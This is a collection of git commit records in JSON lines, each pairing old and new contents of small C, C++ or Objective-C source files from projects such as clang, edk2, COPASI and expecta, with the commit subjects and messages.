{"commit":"5cef25695718f2bbb2505ff63f1d2557d9429fcf","old_file":"SchemeBasicTypes.h","new_file":"SchemeBasicTypes.h","old_contents":"#ifndef SCHEME_BASIC_TYPES_H\n#define SCHEME_BASIC_TYPES_H\n\n#include \"SchemeType.h\"\n\nextern const SchemeType SchemeBool;\nextern const SchemeCons *const SchemeBoolTrue;\nextern const SchemeCons *const SchemeBoolFalse;\nextern const SchemeType SchemeTuple;\nextern const SchemeCons *const SchemeTupleTuple;\nextern const SchemeType SchemeList;\nextern const SchemeCons *const SchemeListCons;\nextern const SchemeCons *const SchemeListEmpty;\nextern const SchemeType SchemeOption;\nextern const SchemeCons *const SchemeOptionNone;\nextern const SchemeCons *const SchemeOptionSome;\nextern const SchemeType SchemeEither;\n\n#endif \/* !SCHEME_BASIC_TYPES_H *\/\n","new_contents":"#ifndef SCHEME_BASIC_TYPES_H\n#define SCHEME_BASIC_TYPES_H\n\n#include \"SchemeType.h\"\n\nextern const SchemeType SchemeBool;\nextern const SchemeCons *const SchemeBoolTrue;\nextern const SchemeCons *const SchemeBoolFalse;\nextern const SchemeType SchemeTuple;\nextern const SchemeCons *const SchemeTupleTuple;\nextern const SchemeType SchemeList;\nextern const SchemeCons *const SchemeListCons;\nextern const SchemeCons *const SchemeListEmpty;\nextern const SchemeType SchemeOption;\nextern const SchemeCons *const SchemeOptionNone;\nextern const SchemeCons *const SchemeOptionSome;\nextern const SchemeType SchemeEither;\n\nstatic void\nSchemeMarshalBool(Scheme *context, bool value)\n{\n  SchemeObj *val = &context->value;\n  val->hdr.kind = SCHEME_KIND_VAL;\n  val->hdr.variant = value ?\n    SchemeBoolTrue->hdr.variant : SchemeBoolFalse->hdr.variant;\n  val->hdr.size = 0;\n  val->word.type = &SchemeBool;\n}\n\n\n#endif \/* !SCHEME_BASIC_TYPES_H *\/\n","subject":"Add function for marshaling C booleans into Scheme.","message":"Add function for marshaling C booleans into Scheme.\n","lang":"C","license":"mit","repos":"bassettmb\/scheme"}
{"commit":"84db8f7ea5126ae880a4dc73686a95bc66766020","old_file":"LRImageManager\/LRImageOperation+Private.h","new_file":"LRImageManager\/LRImageOperation+Private.h","old_contents":"","new_contents":"\/\/\n\/\/  LRImageOperation+Private.h\n\/\/  iShows\n\/\/\n\/\/  Created by Luis Recuenco on 19\/05\/13.\n\/\/  Copyright (c) 2013 Luis Recuenco. All rights reserved.\n\/\/\n\n#import \"LRImageOperation.h\"\n\n@interface LRImageOperation (Private)\n\n\/\/ Inputs\n@property (nonatomic, strong, readonly) NSURL *url;\n@property (nonatomic, assign, readonly) CGSize size;\n@property (nonatomic, assign, readonly) BOOL diskCache;\n@property (nonatomic, assign, readonly) LRCacheStorageOptions storageOptions;\n@property (nonatomic, strong, readonly) NSMutableArray *completionHandlers;\n\n\/\/ Outputs\n@property (nonatomic, strong, readonly) UIImage *image;\n@property (nonatomic, strong, readonly) NSError *error;\n\n@end\n","subject":"Move LRImageOperation inputs and outputs to an appropriate category","message":"Move LRImageOperation inputs and outputs to an appropriate category\n","lang":"C","license":"mit","repos":"toto\/LRImageManager,vhoto-dev\/LRImageManager,vhoto-dev\/LRImageManager,vhoto-dev\/LRImageManager,luisrecuenco\/LRImageManager,Wallapop\/LRImageManager,luisrecuenco\/LRImageManager,luisrecuenco\/LRImageManager,toto\/LRImageManager,toto\/LRImageManager"}
{"commit":"690c2e22d48c37fa590e9e93595fc5c5ee0d1eab","old_file":"include\/clang\/CodeGen\/ModuleBuilder.h","new_file":"include\/clang\/CodeGen\/ModuleBuilder.h","old_contents":"\/\/===--- CodeGen\/ModuleBuilder.h - Build LLVM from ASTs ---------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the ModuleBuilder interface.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_CODEGEN_MODULEBUILDER_H\n#define LLVM_CLANG_CODEGEN_MODULEBUILDER_H\n\n#include \"clang\/AST\/ASTConsumer.h\"\n#include <string>\n\nnamespace llvm {\n  class LLVMContext;\n  class Module;\n}\n\nnamespace clang {\n  class Diagnostic;\n  class LangOptions;\n  class CodeGenOptions;\n\n  class CodeGenerator : public ASTConsumer {\n  public:\n    virtual llvm::Module* GetModule() = 0;\n    virtual llvm::Module* ReleaseModule() = 0;\n  };\n\n  CodeGenerator *CreateLLVMCodeGen(Diagnostic &Diags,\n                                   const std::string &ModuleName,\n                                   const CodeGenOptions &CGO,\n                                   llvm::LLVMContext& C);\n}\n\n#endif\n","new_contents":"\/\/===--- CodeGen\/ModuleBuilder.h - Build LLVM from ASTs ---------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the ModuleBuilder interface.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_CODEGEN_MODULEBUILDER_H\n#define LLVM_CLANG_CODEGEN_MODULEBUILDER_H\n\n#include \"clang\/AST\/ASTConsumer.h\"\n#include <string>\n\nnamespace llvm {\n  class LLVMContext;\n  class Module;\n}\n\nnamespace clang {\n  class Diagnostic;\n  class LangOptions;\n  class CodeGenOptions;\n\n  class CodeGenerator : public ASTConsumer {\n  public:\n    virtual llvm::Module* GetModule() = 0;\n    virtual llvm::Module* ReleaseModule() = 0;\n  };\n\n  \/\/\/ CreateLLVMCodeGen - Create a CodeGenerator instance.\n  \/\/\/ It is the responsibility of the caller to call delete on\n  \/\/\/ the allocated CodeGenerator instance.\n  CodeGenerator *CreateLLVMCodeGen(Diagnostic &Diags,\n                                   const std::string &ModuleName,\n                                   const CodeGenOptions &CGO,\n                                   llvm::LLVMContext& C);\n}\n\n#endif\n","subject":"Add a comment to mention the memory ownership situation.","message":"Add a comment to mention the memory ownership situation.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@104886 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"9e5acfd583ee88d53cb77691f0d0a882c0fc2473","old_file":"MdePkg\/Library\/BaseLib\/CpuDeadLoop.c","new_file":"MdePkg\/Library\/BaseLib\/CpuDeadLoop.c","old_contents":"\/** @file\r\n  Base Library CPU Functions for all architectures.\r\n\r\n  Copyright (c) 2006 - 2008, Intel Corporation<BR>\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n\r\n\r\n#include <Base.h>\r\n#include <Library\/BaseLib.h>\r\n\r\n\/**\r\n  Executes an infinite loop.\r\n\r\n  Forces the CPU to execute an infinite loop. A debugger may be used to skip\r\n  past the loop and the code that follows the loop must execute properly. This\r\n  implies that the infinite loop must not cause the code that follow it to be\r\n  optimized away.\r\n\r\n**\/\r\nVOID\r\nEFIAPI\r\nCpuDeadLoop (\r\n  VOID\r\n  )\r\n{\r\n  volatile UINTN  Index;\r\n\r\n  for (Index = 0; 0 == Index;);\r\n}\r\n","new_contents":"\/** @file\r\n  Base Library CPU Functions for all architectures.\r\n\r\n  Copyright (c) 2006 - 2008, Intel Corporation<BR>\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n\r\n\r\n#include <Base.h>\r\n#include <Library\/BaseLib.h>\r\n\r\n\/**\r\n  Executes an infinite loop.\r\n\r\n  Forces the CPU to execute an infinite loop. A debugger may be used to skip\r\n  past the loop and the code that follows the loop must execute properly. This\r\n  implies that the infinite loop must not cause the code that follow it to be\r\n  optimized away.\r\n\r\n**\/\r\nVOID\r\nEFIAPI\r\nCpuDeadLoop (\r\n  VOID\r\n  )\r\n{\r\n  volatile UINTN  Index;\r\n\r\n  for (Index = 0; Index == 0;);\r\n}\r\n","subject":"Change style 0 == Index to Index == 0","message":"Change style 0 == Index to Index == 0\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@7493 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"2c2367e6c537aaf7a1f79c196aea98efdd6418c2","old_file":"src\/svr\/all.h","new_file":"src\/svr\/all.h","old_contents":"#ifndef TLSCA_SVR__ALL_H_\n#define TLSCA_SVR__ALL_H_\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <pthread.h>\n\n#include <ft.h>\n#include <tlsca.h>\n#include <seacatcc.h>\n\nstruct sca_app;\nextern struct sca_app sca_app;\n\n#include \"config.h\"\n#include \"app.h\"\n#include \"reactor.h\"\n#include \"cntl.h\"\n\n#endif \/\/TLSCA_SVR__ALL_H_\n","new_contents":"#ifndef TLSCA_SVR__ALL_H_\n#define TLSCA_SVR__ALL_H_\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <pthread.h>\n\n#include <ft.h>\n#include <tlsca.h>\n#include <seacatcc.h>\n\nstruct sca_app;\nextern struct sca_app sca_app;\n\n#include \"config.h\"\n#include \"app.h\"\n#include \"reactor.h\"\n#include \"cntl.h\"\n\nenum sca_frame_type\n{\n\tFT_FRAME_TYPE_SEACATCC_WRITE = 0xFFFFF001,\n\tFT_FRAME_TYPE_SEACATCC_READ  = 0xFFFFF002,\n};\n\n\n#endif \/\/TLSCA_SVR__ALL_H_\n","subject":"Add a new frame types.","message":"Add a new frame types.\n","lang":"C","license":"bsd-3-clause","repos":"TeskaLabs\/SeaCat.io-Agent,TeskaLabs\/SeaCat.io-Agent"}
{"commit":"4b1d156a39827af50072cf16abffc11dc822ade9","old_file":"Foundation\/NSSortDescriptor+Essentials.h","new_file":"Foundation\/NSSortDescriptor+Essentials.h","old_contents":"\/\/\n\/\/  NSSortDescriptor+Essentials.h\n\/\/  Essentials\n\/\/\n\/\/  Created by Martin Kiss on 11.4.14.\n\/\/  Copyright (c) 2014 iAdverti. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n\ntypedef enum : BOOL {\n    ESSSortDescending = NO,\n    ESSSortAscending = YES,\n} ESSSort;\n\n\n\n@interface NSSortDescriptor (Essentials)\n\n\n+ (instancetype)sortAscending:(BOOL)ascending;\n+ (instancetype)sortAscending:(BOOL)ascending selector:(SEL)selector;\n\n+ (instancetype)randomSortDescriptor;\n\n+ (instancetype)sortDescriptorForViewOriginX;\n+ (instancetype)sortDescriptorForViewOriginY;\n\n\n@end\n\n\n#define ESSSort(Class, keyPath, ascend) \\\n(NSSortDescriptor *)({ \\\n    [NSSortDescriptor sortDescriptorWithKey:@#keyPath ascending:ESSSort##ascend]; \\\n})\n\n\n#define ESSSortUsing(Class, keyPath, ascend, compareSelector) \\\n(NSSortDescriptor *)({ \\\n    if (NO) { \\\n        Class *object = nil; \\\n        __unused NSComparisonResult r = [object.keyPath compareSelector object.keyPath]; \\\n    } \\\n    SEL selector = NSSelectorFromString(@#compareSelector); \\\n    [NSSortDescriptor sortDescriptorWithKey:@#keyPath ascending:ESSSort##ascend selector:selector]; \\\n})\n\n","new_contents":"\/\/\n\/\/  NSSortDescriptor+Essentials.h\n\/\/  Essentials\n\/\/\n\/\/  Created by Martin Kiss on 11.4.14.\n\/\/  Copyright (c) 2014 iAdverti. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n\ntypedef enum : BOOL {\n    ESSSortDescending = NO,\n    ESSSortAscending = YES,\n} ESSSort;\n\n\n\n@interface NSSortDescriptor (Essentials)\n\n\n+ (instancetype)sortAscending:(BOOL)ascending;\n+ (instancetype)sortAscending:(BOOL)ascending selector:(SEL)selector;\n\n+ (instancetype)randomSortDescriptor;\n\n+ (instancetype)sortDescriptorForViewOriginX;\n+ (instancetype)sortDescriptorForViewOriginY;\n\n\n@end\n\n\n#define ESSSort(Class, keyPath, ascend) \\\n(NSSortDescriptor *)({ \\\n    if (NO) { \\\n        Class *object = nil; \\\n        (void)object.keyPath; \\\n    } \\\n    [NSSortDescriptor sortDescriptorWithKey:@#keyPath ascending:ESSSort##ascend]; \\\n})\n\n\n#define ESSSortUsing(Class, keyPath, ascend, compareSelector) \\\n(NSSortDescriptor *)({ \\\n    if (NO) { \\\n        Class *object = nil; \\\n        (void)object.keyPath; \\\n    } \\\n    SEL selector = NSSelectorFromString(@#compareSelector); \\\n    [NSSortDescriptor sortDescriptorWithKey:@#keyPath ascending:ESSSort##ascend selector:selector]; \\\n})\n\n","subject":"Fix ESSSort to work with non-object properties","message":"Fix ESSSort to work with non-object properties\n","lang":"C","license":"mit","repos":"Tricertops\/Essentials,Tricertops\/Essentials"}
{"commit":"4e9639ecf891d6443a1a0fde3d14661106ccb2e8","old_file":"src\/matchers\/EXPMatchers+equal.h","new_file":"src\/matchers\/EXPMatchers+equal.h","old_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(_equal, (id expected));\nEXPMatcherInterface(equal, (id expected)); \/\/ to aid code completion\n#define equal(expected) _equal(EXPObjectify((expected)))\n","new_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(_equal, (id expected));\nEXPMatcherInterface(equal, (id expected)); \/\/ to aid code completion\n#define equal(...) _equal(EXPObjectify((__VA_ARGS__)))\n","subject":"Make usage of NSArray literals a little bit simpler in equal()","message":"Make usage of NSArray literals a little bit simpler in equal()\n\nThis allows to write something like expect(array).to.equal(@[ @\"a\", @\"b\", @\"c\" ]) without additional parentheses around the array literal.","lang":"C","license":"mit","repos":"jmoody\/expecta,iosdev-republicofapps\/expecta,modocache\/expecta,jmburges\/expecta,tonyarnold\/expecta,ashfurrow\/expecta,tonyarnold\/expecta,suxinde2009\/expecta,modocache\/expecta,PatrykKaczmarek\/expecta,Bogon\/expecta,suxinde2009\/expecta,specta\/expecta,iguchunhui\/expecta,tonyarnold\/expecta,PatrykKaczmarek\/expecta,PatrykKaczmarek\/expecta,wessmith\/expecta,jmburges\/expecta,tonyarnold\/expecta,PatrykKaczmarek\/expecta,Bogon\/expecta,jmoody\/expecta,ashfurrow\/expecta,wessmith\/expecta,jmburges\/expecta,jmoody\/expecta,Lightricks\/expecta,ashfurrow\/expecta,udemy\/expecta,jmburges\/expecta,iguchunhui\/expecta,jmoody\/expecta,udemy\/expecta,Lightricks\/expecta,iosdev-republicofapps\/expecta,modocache\/expecta,iosdev-republicofapps\/expecta,ashfurrow\/expecta,modocache\/expecta,iosdev-republicofapps\/expecta"}
{"commit":"1d62dd3d309d009ffa3f9a71cf141ab7689e1138","old_file":"Maze\/src\/maze\/proceduralmaze.h","new_file":"Maze\/src\/maze\/proceduralmaze.h","old_contents":"#ifndef __PROCEDURALMAZE_H__\n#define __PROCEDURALMAZE_H__\n\n#include \"maze.h\"\n#include <map>\n\nclass ProceduralMaze\n{\n\tprivate:\n\t\tint width;\n\t\tint height;\n\n\tpublic:\n\t\tstd::map<std::tuple<int, int>, int> grid;\n\t\tProceduralMaze(int width, int height);\n\n\t\tvoid generate();\n\t\tvoid clearGrid();\n\t\tstd::vector<std::tuple<int, int>> getAdjCells(std::tuple<int, int> center, Tile tile_state);\n};\n\n#endif","new_contents":"#ifndef __PROCEDURALMAZE_H__\n#define __PROCEDURALMAZE_H__\n\n#include \"maze.h\"\n#include <map>\n\nclass ProceduralMaze\n{\n\tprivate:\n\t\tint width;\n\t\tint height;\n\t\tstd::map<std::tuple<int, int>, int> grid;\n\n\t\tvoid clearGrid();\n\t\tstd::vector<std::tuple<int, int>> getAdjCells(std::tuple<int, int> center, Tile tile_state);\n\n\tpublic:\n\t\tProceduralMaze(int width, int height);\n\n\t\tvoid generate();\n\t\tvoid print();\n\t\tstd::map<std::tuple<int, int>, int> getGrid() { return grid; }\n};\n\n#endif","subject":"Move some ProceduralMaze public methods to private","message":"Move some ProceduralMaze public methods to private\n","lang":"C","license":"mit","repos":"gfceccon\/Maze,gfceccon\/Maze"}
{"commit":"95a836693fb9b0e33427e75d0f96441daa15ed84","old_file":"c\/challenges\/30daysofcode\/day-00.c","new_file":"c\/challenges\/30daysofcode\/day-00.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    \/\/ Declare a variable named 'input_string' to hold our input.\n    char input_string[105];\n\n    \/\/ Read a full line of input from stdin and save it to our variable, input_string.\n    scanf(\"%[^\\n]\", input_string);\n\n    \/\/ Print a string literal saying \"Hello, World.\" to stdout using printf.\n    printf(\"Hello, World.\\n\");\n\n    \/\/ TODO: Write a line of code here that prints the contents of input_string to stdout.\n    printf(\"%s\", input_string);\n\n    return 0;\n}","subject":"Add 30 Days of Code Day 0 in C.","message":"Add 30 Days of Code Day 0 in C.\n","lang":"C","license":"mit","repos":"KoderDojo\/hackerrank,KoderDojo\/hackerrank"}
{"commit":"cad39e196f1663c40c054441fe0c56bb5a225cab","old_file":"copasi\/output\/CNodeO.h","new_file":"copasi\/output\/CNodeO.h","old_contents":"","new_contents":"\/*****************************************************************************\n* PROGRAM NAME: CNodeO.h\n* PROGRAMMER: Wei Sun\twsun@vt.edu\n* PURPOSE: Define the node object in user defined function\n*****************************************************************************\/\n#ifndef COPASI_CNodeO\n#define\tCOPASI_CNodeO\n\n#include <string>\n#include <vector>\n\n#include \"copasi.h\"\n#include \"model\/model.h\"\n#include \"utilities\/utilities.h\"\n#include \"function\/function.h\"\n\nclass CNodeO: public CNodeK\n{\nprivate:\n\t\/**\n\t *  Title of the node.\n\t *\/\n\tstring mTitle; \n\t\/**\n     *  Type of the node's Datum.\n\t *\/\n\tC_INT32 mDatumType;\n\t\/**\n\t * I String of the node\n\t *\/\n\tstring mI;\n\t\/**\n\t * J String of the node\n\t *\/\n\tstring mJ;\n\npublic:\n\t\/**\n     * Default constructor\n     *\/\n    CNodeO();\n\t\/**\n\t * Constructor for operator\n\t * @param \"const string\" title\n\t * @param \"const C_INT32\" type\n\t * @param \"const string\" i_str\n\t * @param \"const string\" j_str\n\t *\/\n\tCNodeO(string title, C_INT32 type, string i_str, string j_str);\n\n\t\/**\n\t * Destructor\n\t *\/\n\t~CNodeO();\n\n\t\/**\n\t * Delete\n\t *\/\n\tvoid cleanup();\n    \n\t\/**\n     *  Loads an object with data coming from a CReadConfig object.\n     *  (CReadConfig object reads an input stream)\n     *  @param pconfigbuffer reference to a CReadConfig object.\n     *  @return Fail\n     *\/\n    C_INT32 load(CReadConfig & configbuffer);\n\n\t\/**\n     *  Saves the contents of the object to a CWriteConfig object.\n     *  (Which usually has a file attached but may also have socket)\n     *  @param pconfigbuffer reference to a CWriteConfig object.\n     *  @return Fail\n     *\/\n    C_INT32 save(CWriteConfig & configbuffer) const;\n\n    \/**\n     * Retrieving the Title of a node\n     * @return string\n     *\/\n    string getTitle() const;\n\n   \/**\n    * Retrieving I String of a node\n    * @return string\n    *\/\n   string getIString() const;\n\n   \/**\n    * Retrieving J String of a node\n    * @return string\n    *\/\n   string getJString() const;\n  \n\n   \/**\n    * Setting Title of the node\n    * @param \"const string\" &title\n    *\/\n   void setTitle(const string& title);\n\n   \/**\n    * Setting I String of the node\n    * @param \"const string\" &i_string\n    *\/\n\n   void setIString(const string & i_string);\n\n   \/**\n    * Setting I String of the node\n    * @param \"const string\" &j_string\n    *\/\n   void setJString(const string & j_string);\n\n   \/**\n    * Get the node's Datum type\n\t*\/\n   C_INT32 getDatumType() const;\n\n   \/**\n    * Set the node's Datum Type\n\t*\/\n   void setDatumType(const C_INT32 datumType);\n};\n#endif\n\n","subject":"Save each node in User Defined Functions","message":"Save each node in User Defined Functions\n","lang":"C","license":"artistic-2.0","repos":"jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI"}
{"commit":"26134a1b596b9763a6975f15bf296a580b141114","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n\nvoid f6() {\n  char *p;\n  p = __builtin_alloca(10); \n  p[1] = 'a';\n}\n\nstruct s2;\n\nvoid g2(struct s2 *p);\n\nvoid f7() {\n  struct s2 *p = __builtin_alloca(10);\n  g2(p);\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n\nvoid f6() {\n  char *p;\n  p = __builtin_alloca(10); \n  p[1] = 'a';\n}\n\nstruct s2;\n\nvoid g2(struct s2 *p);\n\nvoid f7() {\n  struct s2 *p = __builtin_alloca(10);\n  g2(p);\n}\n\nvoid f8() {\n  int a[10];\n  a[sizeof(a) - 1] = 1;\n}\n","subject":"Add test for unsigned array index.","message":"Add test for unsigned array index.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59239 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"2dea6e6b3e25adf606db5d4085f5080f2e5057a1","old_file":"media\/rx\/video-rx.h","new_file":"media\/rx\/video-rx.h","old_contents":"#ifndef __VIDEO_RX_H__\n#define __VIDEO_RX_H__\n\n#include \"libavformat\/avformat.h\"\n\ntypedef struct DecodedFrame {\n\tAVFrame* pFrameRGB;\n\tuint8_t *buffer;\n} DecodedFrame;\n\ntypedef struct FrameManager {\n\tenum PixelFormat pix_fmt;\n\tvoid (*put_video_frame_rx)(uint8_t *data, int with, int height, int nframe);\n\tDecodedFrame* (*get_decoded_frame_buffer)(int width, int height);\n\tvoid (*release_decoded_frame_buffer)(void);\n} FrameManager;\n\nint start_video_rx(const char* sdp, int maxDelay, FrameManager *frame_manager);\nint stop_video_rx();\n\n#endif \/* __VIDEO_RX_H__ *\/\n","new_contents":"#ifndef __VIDEO_RX_H__\n#define __VIDEO_RX_H__\n\n#include \"libavformat\/avformat.h\"\n\ntypedef struct DecodedFrame {\n\tAVFrame* pFrameRGB;\n\tuint8_t *buffer;\n} DecodedFrame;\n\ntypedef struct FrameManager {\n\tenum PixelFormat pix_fmt;\n\tvoid (*put_video_frame_rx)(uint8_t *data, int width, int height, int nframe);\n\tDecodedFrame* (*get_decoded_frame_buffer)(int width, int height);\n\tvoid (*release_decoded_frame_buffer)(void);\n} FrameManager;\n\nint start_video_rx(const char* sdp, int maxDelay, FrameManager *frame_manager);\nint stop_video_rx();\n\n#endif \/* __VIDEO_RX_H__ *\/\n","subject":"Fix width param name in put_video_frame_rx function pointer.","message":"Fix width param name in put_video_frame_rx function pointer.\n","lang":"C","license":"lgpl-2.1","repos":"shelsonjava\/kc-media-native,Kurento\/kc-media-native,shelsonjava\/kc-media-native,Kurento\/kc-media-native"}
{"commit":"70d22f24048fde4c1eada353a666240b89f00ae7","old_file":"tests\/test_bitblasting.c","new_file":"tests\/test_bitblasting.c","old_contents":"\/* Unit tests for functions that implement aspects of bitblasting.\n *\n * SCL; 2016\n *\/\n\n#define _POSIX_C_SOURCE 200809L\n#include <stdlib.h>\n\n#include \"ptree.h\"\n#include \"tests_common.h\"\n\n\nint main( int argc, char **argv )\n{\n    ptree_t *head = NULL;\n\n    head = var_to_bool( \"x\", 2 );\n    if (head == NULL) {\n        ERRPRINT( \"var_to_bool() unexpectedly returned NULL (error).\" );\n        abort();\n    }\n\n    delete_tree( head );\n    head = NULL;\n\n    return 0;\n}\n","new_contents":"\/* Unit tests for functions that implement aspects of bitblasting.\n *\n * SCL; 2016\n *\/\n\n#define _POSIX_C_SOURCE 200809L\n#include <stdlib.h>\n#include <string.h>\n\n#include \"ptree.h\"\n#include \"tests_common.h\"\n\n\nint main( int argc, char **argv )\n{\n    ptree_t *head = NULL;\n\n    head = var_to_bool( \"x\", 2 );\n    if (head == NULL) {\n        ERRPRINT( \"var_to_bool() unexpectedly returned NULL (error).\" );\n        abort();\n    }\n    if (tree_size( head ) != 2) {\n        ERRPRINT1( \"var_to_bool() returned list of %d variables, \"\n                   \"rather than list of length 2.\",\n                   tree_size( head ) );\n        abort();\n    }\n    if (strncmp( \"x0\", (get_list_item( head, 0 ))->name, 2 )\n        || strncmp( \"x1\", (get_list_item( head, 1 ))->name, 2 )) {\n        ERRPRINT( \"unexpected bit-index variable name from var_to_bool()\" );\n        abort();\n    }\n\n    delete_tree( head );\n    head = NULL;\n\n    return 0;\n}\n","subject":"Test more aspects of return value from var_to_bool","message":"TEST: Test more aspects of return value from var_to_bool\n","lang":"C","license":"bsd-3-clause","repos":"slivingston\/gr1c,slivingston\/gr1c,slivingston\/gr1c"}
{"commit":"1e4a7ff20be308688e8b33cbd52c865e74ddd96d","old_file":"linux\/epoll\/peer_testing.h","new_file":"linux\/epoll\/peer_testing.h","old_contents":"#ifndef CJET_PEER_TESTING_H\n#define CJET_PEER_TESTING_H\n\n#ifdef TESTING\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint fake_read(int fd, void *buf, size_t count);\nint fake_send(int fd, void *buf, size_t count, int flags);\n\n#ifdef __cplusplus\n}\n#endif\n\n#define READ fake_read\n#define SEND fake_send\n#define WRITEV fake_writev\n#else\n\n#define READ read\n#define SEND send\n#define WRITEV writev\n\n#endif\n\n#endif\n","new_contents":"#ifndef CJET_PEER_TESTING_H\n#define CJET_PEER_TESTING_H\n\n#ifdef TESTING\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint fake_read(int fd, void *buf, size_t count);\nint fake_send(int fd, void *buf, size_t count, int flags);\nint fake_writev(int fd, const struct iovec *iov, int iovcnt);\n\n#ifdef __cplusplus\n}\n#endif\n\n#define READ fake_read\n#define SEND fake_send\n#define WRITEV fake_writev\n#else\n\n#define READ read\n#define SEND send\n#define WRITEV writev\n\n#endif\n\n#endif\n","subject":"Add missing prototype for fake_writev().","message":"Add missing prototype for fake_writev().\n","lang":"C","license":"mit","repos":"mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet"}
